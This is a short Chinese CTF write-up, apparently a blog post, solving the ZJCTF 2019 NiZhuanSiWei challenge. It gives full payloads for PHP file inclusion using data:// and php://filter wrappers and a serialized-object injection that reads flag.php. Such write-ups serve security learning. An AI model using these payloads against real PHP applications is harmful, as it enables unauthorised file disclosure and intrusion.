文件包含实例

一.知识

1.file_get_contents

file_get_contents($text,'r') 好像挺正常的

二.实例

1.php://filter, data://, __tostring

①file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

php 复制代码
?text=data://text/plain,welcome to the zjctf

②源码提示了useless.php这里使用php伪协议来读取文件

php 复制代码
php://filter/read=convert.base64-encode/resource=useless.php

③第一个payload

php 复制代码
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

④脚本

php 复制代码
<?php
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){
	      
        if(isset($this->file)){ 
         
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);

⑤第二个payload

php 复制代码
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

不加伪协议了, flie还得正确地写

相关推荐
一路向北_.6 天前
ctfshow文件包含web78~81
web安全·文件包含·php伪协议
什么鬼昵称1 个月前
文件包含漏洞
java·安全·servlet·文件包含
只鱼_L72 个月前
【文件包含】——日志文件注入
安全·php·文件包含
板栗妖怪2 个月前
文件包含之session.upload_progress的使用
学习·安全·渗透·文件包含
板栗妖怪2 个月前
文件包含所用协议实战
安全·php·渗透·文件包含
zengyu31397078472 个月前
利用session.upload_progress执行文件包含
文件包含
补天阁9 个月前
CTFshow web(文件上传158-161)
前端·web安全·文件上传·文件包含·命令执行
Ryongao9 个月前
文件包含漏洞
网络安全·文件上传·文件包含
Jay 171 年前
PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp
web安全·php·ctf·文件上传·文件包含
Hillain1 年前
[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化
安全·web安全·php·ctf·文件包含·反序列化·伪协议